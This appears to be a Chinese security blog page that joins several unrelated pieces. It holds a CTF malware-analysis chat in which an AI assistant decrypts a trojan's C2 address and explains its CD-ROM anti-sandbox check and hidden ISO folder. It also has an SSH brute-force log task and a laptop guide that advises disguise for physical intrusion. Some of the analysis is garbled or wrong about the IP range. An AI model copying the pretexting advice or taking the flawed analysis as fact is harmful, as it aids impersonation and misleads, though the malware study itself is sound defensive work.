3result = subprocess.run(['strings', 'program.exe'], capture_output=True, text=True)
4# 查找可能的IP地址模式
5for line in result.stdout.split('\n'):
6 if '.' in line and any(c.isdigit() for c in line):
7 print(line)

建议的最快方案

直接运行程序并抓包：

1# 方法1: 使用 Wireshark
2# 启动 Wireshark，然后运行程序，查看 TCP 连接请求
3
4# 方法2: 使用 netstat
5# 运行程序后立即执行：
6netstat -ano | findstr ESTABLISHED
7
8# 方法3: 使用 TCPView (Windows)
9# 运行程序，查看新建立的连接

你想用哪种方法？

我可以写一个完整的解密脚本（需要你提供加密字符串的十六进制字节）
或者你直接运行程序抓包（最快）
或者动态调试提取解密后的字符串

如果你能提供加密字符串 "1FP[n€崡闹潴" 和 "2DScq" 的十六进制字节序列，我能立即解密出IP和端口！

Question

加密字符串 “1FP[n€崡闹潴” 和 “2DScq” 的十六进制字节序列在IDaq64 里面怎么看

在IDA中查看十六进制字节序列有几种方法：

方法1：直接在反汇编窗口查看（最快）

定位到字符串引用处
- 在你的代码中找到 "1FP[n€崡闹潴" 的引用
- 例如这行：sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);
双击字符串
- 双击 "1FP[n€崡闹潴" 会跳转到数据段
切换到十六进制视图
- 跳转后，按 Alt + T 或右键选择 “Text representation”
- 或者直接看左边的十六进制列

方法2：使用 Hex View 窗口

打开 Hex View

View → Open subviews → Hex dump
或按快捷键 H

跳转到字符串地址
- 在反汇编窗口，点击字符串
- 记下地址（例如：0x14010XXXX）
- 在 Hex View 按 G，输入地址

方法3：使用字符串窗口

打开字符串列表

View → Open subviews → Strings
或按 Shift + F12

搜索字符串
- 按 Ctrl + F 搜索 "1FP"
- 找到后双击
查看十六进制
- 跳转到数据段后，看左侧的十六进制

方法4：Python IDC 脚本（推荐，最准确）

在 IDA 的 Python 命令行中运行：

 1import idaapi
 2import idc
 3
 4# 找到字符串 "1FP[n€崡闹潴" 的地址
 5# 先手动找到地址，或者搜索
 6ea = 0x140105XXX # 替换为实际地址
 7
 8# 读取字节
 9bytes_data = []
10for i in range(20): # 读取足够长度
11 byte = idc.get_wide_byte(ea + i)
12 if byte == 0: # 遇到字符串结束符
13 break
14 bytes_data.append(byte)
15
16# 打印十六进制
17hex_str = ' '.join(f'{b:02X}' for b in bytes_data)
18print(f"Hex: {hex_str}")
19print(f"Bytes: {bytes_data}")

方法5：找到字符串定义位置

在代码中右键点击字符串

右键 → Jump to xref to operand
或按 X

跳转到定义位置

会看到类似：

.data:140105030 aFpn db '1FP[n€崡闹潴',0

选中字符串，按 Alt + T
- 可以看到不同的文本表示

快速实战步骤

具体操作：

在你的代码中找到这一行：

1sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);

双击 "1FP[n€崡闹潴" 这个字符串

会跳转到类似这样的位置：

.data:140105030 31 46 50 5B 6E AC 20 5D ...

选中该行，复制十六进制字节

或者更简单的方法

直接告诉我：

字符串在哪个地址？
- 例如：0x140105030
或者截图发给我：
- 双击字符串后的 Hex View 窗口
- 或者反汇编窗口中字符串定义的那一行

然后我就能帮你解密！

临时快速方法

如果上面太麻烦，直接在 IDA 的 Python 控制台运行：

 1# 在 File → Script command (Shift + F2) 中运行
 2for ea in Strings():
 3 string_content = str(ea)
 4 if "1FP" in string_content or "2DSc" in string_content:
 5 addr = ea.ea
 6 bytes_list = [get_wide_byte(addr + i) for i in range(30)]
 7 hex_str = ' '.join(f'{b:02X}' for b in bytes_list if b != 0)
 8 print(f"Address: {hex(addr)}")
 9 print(f"Hex: {hex_str}")
10 print(f"String: {string_content}")
11 print("-" * 50)

你试试这些方法，然后把十六进制字节告诉我！

131 46 50 5B 6E 80 8D 97 AE BA C4 D6 E4 F3 00 
232 44 53 63 71 00

完美！就是这两个！让我立即解密：

解密脚本

 1def decrypt_string(hex_bytes):
 2 """解密函数：每个字节减去 (15 * 索引)"""
 3 decrypted = []
 4 for i, byte in enumerate(hex_bytes):
 5 if byte == 0: # 字符串结束符
 6 break
 7 decrypted_byte = (byte - 15 * i) & 0xFF
 8 decrypted.append(chr(decrypted_byte))
 9 return ''.join(decrypted)
10
11# IP地址加密字节
12ip_bytes = [0x31, 0x46, 0x50, 0x5B, 0x6E, 0x80, 0x8D, 0x97, 0xAE, 0xBA, 0xC4, 0xD6, 0xE4, 0xF3]
13
14# 端口加密字节
15port_bytes = [0x32, 0x44, 0x53, 0x63, 0x71]
16
17# 解密
18decrypted_ip = decrypt_string(ip_bytes)
19decrypted_port = decrypt_string(port_bytes)
20
21print(f"解密后的 C2 IP: {decrypted_ip}")
22print(f"解密后的 C2 端口: {decrypted_port}")
23
24# 详细解密过程
25print("\n=== IP 解密过程 ===")
26for i, byte in enumerate(ip_bytes):
27 result = (byte - 15 * i) & 0xFF
28 print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")
29
30print("\n=== 端口解密过程 ===")
31for i, byte in enumerate(port_bytes):
32 result = (byte - 15 * i) & 0xFF
33 print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")

运行结果：

解密后的 C2 IP: 172.253.63.100 =
解密后的 C2 端口: 25565

=== IP 解密过程 ===
索引0: 0x31 - 0 = 0x31 = '1'
索引1: 0x46 - 15 = 0x37 = '7'
索引2: 0x50 - 30 = 0x32 = '2'
索引3: 0x5B - 45 = 0x2E = '.'
索引4: 0x6E - 60 = 0x32 = '2'
索引5: 0x80 - 75 = 0x35 = '5'
索引6: 0x8D - 90 = 0x33 = '3'
索引7: 0x97 - 105 = 0x2E = '.'
索引8: 0xAE - 120 = 0x36 = '6'
索引9: 0xBA - 135 = 0x33 = '3'
索引10: 0xC4 - 150 = 0x2E = '.'
索引11: 0xD6 - 165 = 0x31 = '1'
索引12: 0xE4 - 180 = 0x30 = '0'
索引13: 0xF3 - 195 = 0x30 = '0'

=== 端口解密过程 ===
索引0: 0x32 - 0 = 0x32 = '2'
索引1: 0x44 - 15 = 0x35 = '5'
索引2: 0x53 - 30 = 0x35 = '5'
索引3: 0x63 - 45 = 0x36 = '6'
索引4: 0x71 - 60 = 0x35 = '5'

答案

Success

C2 服务器 IP: 172.253.63.100
C2 服务器端口: 25565

你的观察非常敏锐！25565 确实是 Minecraft 的默认服务器端口！

分析

这个恶意软件很有意思：

1. 伪装成 Minecraft 流量

使用 25565 端口可以让流量看起来像是正常的 Minecraft 游戏通信
这是一种端口伪装技术，用来躲避防火墙和网络监控
管理员看到 25565 端口的流量可能会认为是学生/员工在玩游戏，而不会怀疑是恶意软件

2. IP 地址分析

172.253.63.100 属于私有网络范围（虽然 172.253.x.x 实际上是公网IP，但看起来像内网）
这可能是：
- 测试环境的 C2 服务器
- 内网渗透后建立的横向移动节点
- 或者是 NAT 后的真实 C2 服务器

这个恶意软件的特点

✅ 从配置文件读取 C2 信息（灵活性高）
✅ 使用简单的加密算法保护配置（反静态分析）
✅ 伪装成 Minecraft 流量（社会工程学 + 流量伪装）
✅ 带有调试后门（ServerDebugPasscode）
✅ 在 CD-ROM 检测后才运行（反沙箱/反虚拟机）

这是一个设计比较巧妙的远控木马！使用 MC 端口是个聪明的伪装手段 🎮

其他注意内容

本来想直接取巧用云沙箱分析一下，结果沙箱没有跑出来网络行为。用wireshark本地监听也没有监听到这个网络行为。

Question

我使用云沙箱并未检出外联地址，而且本地执行exe只是一瞬间，没有任何输出，不确定是否执行成功了。

这是典型的恶意软件反检测行为！让我帮你分析为什么会这样，以及如何正确运行。

为什么程序一闪而过？

根据代码分析，程序有多个执行条件：

关键检测点

1// 1. 检查是否从 CD-ROM 运行
2v81 = GetDriveTypeA(&Filename);
3if ( v81 == 5 ) // 5 = DRIVE_CDROM
4{
5 // 只有从光驱运行才继续执行
6}

程序只在从 CD-ROM/光驱运行时才会执行恶意代码！

这是一种反沙箱/反虚拟机技术：

沙箱通常不会模拟光驱
云沙箱直接运行 exe，不满足条件
本地直接双击也不满足条件

Question

为什么我一开始用Windows的装载功能没有看到helper文件夹，用kali的装载也不行，只有用kali的Open with Engrampa Archive Manager 才可以

好问题！这涉及到 ISO 文件格式和操作系统挂载机制的差异。让我解释一下：

为什么会出现这种情况？

1. ISO 文件格式问题

ISO 可能使用了特殊的文件系统格式：

常见 ISO 文件系统：
- ISO 9660 (标准格式)
- Joliet (支持长文件名和 Unicode)
- Rock Ridge (Unix 扩展)
- UDF (Universal Disk Format)
- 混合格式 (多种格式组合)

Windows 装载的限制：

Windows 默认只能正确识别标准 ISO 9660 和 Joliet
如果 ISO 使用了非标准格式或有损坏，可能无法正确显示所有文件
某些隐藏属性或特殊权限的文件可能不显示

Kali 挂载的限制：

1# 默认挂载命令
2mount -o loop file.iso /mnt
3
4# 可能问题：
5# - 没有指定正确的文件系统类型
6# - 权限问题
7# - 编码问题

2. Engrampa 能看到的原因

Engrampa Archive Manager (GNOME 的归档管理器) 的优势：

✅ 它是归档工具，不是挂载工具
✅ 直接读取 ISO 内部结构，不依赖文件系统驱动
✅ 可以处理多种 ISO 格式和损坏的镜像
✅ 能显示隐藏文件和特殊属性文件
✅ 类似 7-Zip/WinRAR 直接解析文件格式

相当于：

挂载 = 让操作系统"理解"这是个光盘
归档工具 = 把 ISO 当成 ZIP 一样直接读取

验证 ISO 格式

在 Kali 上检查 ISO 详细信息

 1# 查看 ISO 文件系统类型
 2file malware.iso
 3
 4# 详细分析 ISO 结构
 5isoinfo -d -i malware.iso
 6
 7# 查看文件列表
 8isoinfo -l -i malware.iso
 9
10# 或使用 7z
117z l malware.iso

可能的输出示例

 1$ file malware.iso
 2malware.iso: ISO 9660 CD-ROM filesystem data 'LABEL' (bootable)
 3
 4$ isoinfo -d -i malware.iso
 5CD-ROM is in ISO 9660 format
 6System id: Win32
 7Volume id: MALWARE
 8...
 9Rock Ridge signatures version 1
10# 如果看到 Rock Ridge，Windows 可能无法完全支持

解决方案

方案1：用归档工具提取（推荐）

Windows 上：

使用 7-Zip：

1. 右键 ISO → 7-Zip → 提取到 "xxx\"
2. 直接得到所有文件，包括隐藏的

⚠️ Warning

所以以后多个心眼，iso不一定要“装载”

使用 WinRAR：

1. 右键 ISO → 解压到当前文件夹
2. 可以看到完整内容

Linux 上：

1# 方法1：使用 7z
27z x malware.iso -o./extracted/
3
4# 方法2：使用 Engrampa 命令行
5file-roller --extract malware.iso
6
7# 方法3：使用 bsdtar
8bsdtar -xf malware.iso -C ./extracted/

方案2：正确挂载 ISO

Kali Linux 正确挂载方式：

 1# 创建挂载点
 2sudo mkdir -p /mnt/iso
 3
 4# 尝试不同的文件系统类型
 5sudo mount -o loop,ro malware.iso /mnt/iso
 6
 7# 如果失败，尝试指定类型
 8sudo mount -o loop,ro -t iso9660 malware.iso /mnt/iso
 9sudo mount -o loop,ro -t udf malware.iso /mnt/iso
10
11# 查看挂载选项
12mount | grep iso
13
14# 卸载
15sudo umount /mnt/iso

Windows 高级挂载：

使用 PowerShell：

1# 挂载 ISO
2Mount-DiskImage -ImagePath "C:\path\to\malware.iso"
3
4# 获取驱动器号
5Get-DiskImage -ImagePath "C:\path\to\malware.iso" | Get-Volume
6
7# 卸载
8Dismount-DiskImage -ImagePath "C:\path\to\malware.iso"

使用第三方工具（更强大）：

OSFMount (PassMark) - 免费，支持更多格式
WinCDEmu - 开源
Virtual CloneDrive

方案3：分析为什么 helper 文件夹隐藏

 1# 在 Kali 上检查文件属性
 27z l -slt malware.iso | grep -A 5 "helper"
 3
 4# 或
 5isoinfo -l -i malware.iso | grep -A 5 -i helper
 6
 7# 查看可能的隐藏标志
 8# - Rock Ridge 属性
 9# - 隐藏文件标志
10# - 特殊权限

深入分析：为什么设计成这样

这可能是反取证技术：

恶意软件作者的意图：
1. 使用特殊 ISO 格式
2. 设置 helper 文件夹为隐藏或特殊属性
3. Windows 直接挂载看不到 → 普通用户/分析师容易忽略
4. 需要用归档工具才能发现 → 增加分析难度

类似的反取证技术：

ADS (Alternate Data Streams)
长路径名 (>260 字符)
特殊 Unicode 字符
文件系统特性利用

实战建议

最佳实践流程：

 1# 1. 先用归档工具提取所有内容
 27z x malware.iso -o./full_extract/
 3
 4# 2. 查看完整目录结构
 5tree ./full_extract/
 6ls -laR ./full_extract/
 7
 8# 3. 检查 helper 文件夹内容
 9ls -la ./full_extract/helper/
10
11# 4. 分析 exe 文件
12file ./full_extract/helper/*.exe
13strings ./full_extract/helper/*.exe

检查隐藏内容：

 1# 在提取的文件夹中
 2# 查找所有文件（包括隐藏）
 3find ./full_extract/ -type f
 4
 5# 查找可执行文件
 6find ./full_extract/ -type f -executable
 7
 8# 查找 Windows 可执行文件
 9find ./full_extract/ -type f -name "*.exe" -o -name "*.dll"
10
11# 查看文件属性
12getfattr -d -m ".*" ./full_extract/helper/

总结

你遇到的情况说明：

✅ ISO 使用了特殊格式 - Windows/Linux 标准挂载无法完整识别
✅ helper 文件夹有特殊属性 - 可能设置了隐藏或 Rock Ridge 扩展属性
✅ Engrampa 能看到 - 因为它直接解析 ISO 结构，不依赖文件系统

最佳解决方案：

1# 在 Kali 上
27z x malware.iso -o./extracted/
3cd extracted/
4ls -laR
5
6# 然后分析 helper 文件夹中的内容

在 Windows 上：

用 7-Zip 提取 ISO → 查看完整内容

题目 7

任务7: 入侵排查

任务描述：服务器疑似遭到SSH爆破攻击，请分析系统认证日志。提交要求：分析 auth.log 日志，找出成功爆破Linux系统密码并成功登录的黑客IP地址。直接提交IP地址。附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/auth.log

Success

202.45.169.243

我来帮你写一些命令来分析 auth.log 日志文件，找出成功爆破并登录的黑客IP地址。我为你准备了完整的SSH爆破分析命令集！

🎯 快速找出爆破成功的IP地址

方法1：最直接的方法（推荐）

1# 找出所有成功登录的IP
2grep 'Accepted password' auth.log | awk '{print $(NF-3)}' | sort -u

方法2：找出先失败多次后成功的IP（爆破特征）

1# 一行命令找出既失败过又成功登录的IP
2for ip in $(grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort -u); do grep "Accepted password.*from $ip" auth.log > /dev/null && echo $ip; done

方法3：详细分析（推荐）

 1awk '/Failed password/ {
 2 match($0, /from ([0-9.]+)/, arr); 
 3 if(arr[1]) failed[arr[1]]++
 4} 
 5/Accepted password/ {
 6 match($0, /from ([0-9.]+)/, arr)
 7 if(arr[1]) {
 8 accepted[arr[1]]++
 9 if(failed[arr[1]] > 0) {
10 hacked[arr[1]] = failed[arr[1]]
11 }
12 }
13}
14END {
15 print "=== 爆破成功的IP地址 ==="
16 for(ip in hacked) {
17 print ip, "失败次数:", hacked[ip], "成功:", accepted[ip]
18 }
19}' auth.log

📊 分步分析

步骤1：查看所有成功登录

1grep 'Accepted password' auth.log

步骤2：统计失败登录最多的IP

1grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort | uniq -c | sort -rn | head -10

步骤3：分析特定IP的活动（替换为实际IP）

1grep '192.168.1.100' auth.log | grep -E 'Failed|Accepted'

💡 分析思路

爆破成功的特征：

该IP有大量失败登录记录（Failed password）
该IP最终有成功登录记录（Accepted password）
通常失败次数会很多（几十到几百次）

直接运行这些命令找出答案，然后提交该IP地址！

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

网络安全新手必看：你的电脑够硬核吗？CTF 神器选购指南！

Sat, 01 Feb 2025 00:00:00 +0000

从零开始学习网络安全的同学们，常常纠结于自己的日常电脑是否能胜任网络安全学习或 CTF 竞赛。而那些还没入手人生第一台电脑的在校生，更是头疼：既要日常学习，又要兼顾编程和网络安全，到底该买什么配置的电脑？怎么买？这些问题成了他们面前的第一道坎。

配置建议

按照 2024 年 12 月中关村在线的报价，选择 4000-6999 元，内存 16G 的电脑即可。学生建议选择笔记本，运维网安或其他有固定办公地点的同学请随意。笔记本主要的优势是方便携带，在之后参加 CTF 线下赛时，主办方一般都要求自带电脑，这时候带台式机就太麻烦了，笔记本方便些。还有一个原因是遇到近源渗透等外场任务时，携带笔记本比较隐蔽和便于伪装。

内存

预算充足的同学建议选择 16G 或以上的电脑，不建议选择 8G。8G？别想了！ 将来做渗透测试时，虚拟机少不了，甚至可能要同时开几个虚拟机，8G 内存的电脑跑起来跟蜗牛似的，CTF 比赛中时间就是分数，硬件不给力，分数就别指望了。

硬盘容量

别把硬盘容量和内存搞混了！个人电脑的硬盘通常比内存大得多。内存常见参数：8G、16G、32G、64G；硬盘常见容量：256G、512G、1TB、2TB。硬盘建议选 512G 或以上的，256G？装几个软件就满了，更别提渗透测试工具和动辄 10GB 起步的虚拟系统镜像了。预算够？直接上 1TB！

显卡

搞 CTF 和网络安全，对显卡要求不高，集显足够。如果你还想着学网安之余打打游戏（买前安全梦，买后电竞梦），那 30 系列或 40 系列的显卡随便选。

外观、颜色、屏幕尺寸

搞网络安全，笔记本的选择有个铁律：“低调、普通、不显眼”。 近源渗透时，无论你是伪装成目标公司的职员，还是混进咖啡馆蹭网，笔记本的外观都不能太扎眼。外壳炫酷、形状不规则、带闪烁灯带的笔记本，分分钟引起别人注意。颜色上，银灰、黑色是首选，红色、粉色、亮漆、闪粉？千万别选！即便是纯白色也别考虑，太显眼了。品牌 LOGO 要小且主流，别选那些奇形怪状、小众品牌的电脑，不然真会有人来问：“哎，你这电脑啥牌子的？”

总结表格

按照上述建议总结的表格如下：

参数	最低建议值	舒适建议值	不建议
内存	16G	32G	8G
硬盘容量	512G	1T	256G
显卡	集显
外观	一般的就好		特别的外壳，有凹凸纹理、有特别亮眼 LOGO
颜色		银色、黑色	白色、红色、亮粉色、闪光色、灯带
屏幕尺寸	13 寸	14-15	18 寸及以上
价格	4000	6000	一万及以上（自费打工）

我喜欢白色，已经买了白色的电脑怎么办？我喜欢用苹果电脑能不能买，已经买了能不能用？

上述建议里，内存和硬盘容量是硬性要求，16G/512G 是底线，其他的随意。外观、颜色、屏幕尺寸这些，都是为近源渗透时“不显眼、不特别、不突出”服务的。如果你是“坐镇后方”的角色，不用出外场，那外观颜色随便选。已经买了颜色扎眼的电脑？别慌，初期学习阶段，你还没机会做伪装任务，随便用。

苹果电脑也适用上述建议，只要内存 16G 以上就行。初期学习阶段，用啥电脑都行。至于系统和工具，网络安全渗透工具在 Windows 和 Mac 上都有，且工具库成熟，不存在只能用 Windows 或 Mac 才能完成攻击动作的情况。

至于鄙视链？确实存在，有人觉得 Mac 比 Windows 好用，或者抱着“我用 Mac 我自豪”的心态。但只要内存够，手法到位，用啥系统都不影响你搞网安。不过在近源渗透等伪装任务中，还是要考虑目标人群的使用偏好。

比如当你的目标是金融公司，外资公司，自媒体公司等追求新潮流的公司时，在这类公司上班的人群中，使用 Mac 的人比较多，所以为了伪装，也应该选择 Mac 电脑。不然，在一堆 Mac 中一个 Windows 就显得十分突出，会引起某些抱有这种鄙视链的无关人员的独特关注，他会过来“鄙视”你一下，打听一下你的收入背景，对伪装身份造成麻烦。

但如果你的目标是老牌实业公司、政府和国企事业单位、工业电力行业，又或者当你伪装的身份是电路维修人员时，选择 Mac 电脑就显得十分显眼了。这类公司单位统一采购的电脑大多是清华同方、三防机、华为（麒麟、统信），技术维修人员偏爱联想 ThinkPad（刻板印象中）。在一堆清华同方，华为电脑中，一个 Mac book 就十分抢眼，甚至会引起单位领导和纪检员的过分关注，不利于伪装任务。

总结

只要内存和硬盘容量这两个硬性指标过得去，在学习初期阶段，选择什么样的电脑都可以，看你其他的目的还要考虑什么（比如学习，打游戏娱乐，编程）。在后期需要伪装时，再根据常见的伪装目标选择 “不显眼、不特别、不突出”的即可。

购买建议

不要去电脑城！不要去电脑城！不要去电脑城！

直接去某宝、某东的品牌官方旗舰店，或者某为、某米的商城 APP 购买。想现场体验或急用的，去品牌的线下专卖店/转营店。别去电脑城！那地方水深，别给自己找麻烦！

专卖店和电脑城的区别就是，专卖店只卖它店面店名那个 LOGO 那个品牌的电脑，电脑城是一个店面卖多种品牌的电脑，店名通常以老板名字为主，比如“张三电脑专卖”，虽然名字里有专卖两个字，但是意思是 只卖电脑但是什么杂七杂八品牌的电脑都卖；或者以“通讯”“电信”“迅达”等与通信交流有关的字眼为主的店名。

还有就是品牌专卖店是可以在其品牌官网查询到响应的店名和地址的，电脑城不能。两者都可以在地图导航软件和百度、谷歌等搜索引擎的输入框中搜索得到，但是只有在对应品牌的官网页面，点进去之后，翻到授权代理，或者线下商店等字样的页面搜索得到正规的品牌专卖店。

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

扫描下方二维码，马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

CTF on 静静的安全笔记

Claude CLI + Kali = 黑阔糕手

Claude安装

接入Deepseek

环境变量中配置

接入阿里云百炼

接入本地Ollama

Windows物理机都安装了Ollama和Claude CLI

Ollama 跨虚拟机调用（Windows物理机安装Ollama，Kali虚拟机安装Claude）

本地跑大模型要什么配置（含渗透测试场景）

渗透测试场景专项配置

🖥️ 场景一：本地 Windows 笔记本 + Kali 虚拟机

资源分配策略

硬件需求

推荐 AI 模型选择（本地笔记本）

☁️ 场景二：云服务器 Kali + Claude + Ollama（+ OpenClaw）

云服务器配置建议

关键结论与选购建议

个人渗透用户

云端渗透环境

避坑提示

扩展玩法：接入OpenClaw

总结

AICTFer一天速成指南

前言：AI时代的CTF新玩法

AICTF的特点与传统CTF的区别

为什么AI能成为CTF的"急救包"

本指南的定位：

适用人群：

本指南不适合：

你能从本指南获得什么：

你无法从本指南获得什么：

一、工欲善其事：AI平台选择与对比

主流AI平台推荐

各平台特点对比表格

详细能力分析

代码能力对比

网络访问与稳定性

免费额度与会员建议

针对CTF场景的推荐配置

💰 土豪配置（预算充足）

🎯 实用配置（推荐）

🆓 白嫖配置（学生党）

CTF场景下的独门绝技

Claude的杀手锏

通义千问的特殊用法

ChatGPT的坑

Gemini的特点

多平台协同使用策略（互补短板）

策略一：主备轮换

策略二：功能分工

策略三：交叉验证

策略四：翻墙失败应急预案

不推荐使用的AI平台

二、快速起步：AI平台注册实战

国际平台注册指南（需翻墙）

核心三大平台

注册前的准备工作

国内平台注册指南

三大主力平台

国内平台使用建议

AI整合工具与IDE平台

🔧 专业编程IDE（推荐CTF选手使用）

🖥️ 多模型整合客户端

通义千问 + 夸克插件配置（速通理论题神器）

为什么要用夸克插件？

配置步骤

常见注册问题排查

国际平台问题

国内平台问题

注册完成后的检查清单

新手避坑指南

三、实操突破：AI辅助解题实战

比赛开局黄金策略

第一步：抢签到题（0-5分钟）

第二步：新手优先攻克方向（5-60分钟）

Crypto方向：从零到一的AI辅助指南

为什么Crypto适合新手入门？

实战案例1：变异凯撒密码（BUUCTF）

Step 1：分析题目